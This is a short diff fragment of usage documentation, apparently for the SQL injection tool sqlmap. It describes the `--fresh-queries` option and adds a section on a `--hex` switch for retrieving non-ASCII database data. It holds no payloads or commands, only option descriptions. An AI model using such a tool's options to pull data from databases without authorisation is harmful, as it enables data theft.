 ### Retrieve number of entries for table(s)

 As you are already familiar with the concept of a session file from the description above, it is good to know that you can ignore the content of that file using option `--fresh-queries`. This way you can keep the session file untouched and for a selected run, avoid the resuming/restoring of queries output. 
 
+### Use DBMS hex function(s) for data retrieval

+Switch: `--hex`

+In lost of cases retrieval of non-ASCII data requires special needs. One solution for that problem is usage of DBMS hex function(s). Turned on by this switch, data is encoded to it's hexadecimal form before being retrieved and afterwards unencoded to it's original form.
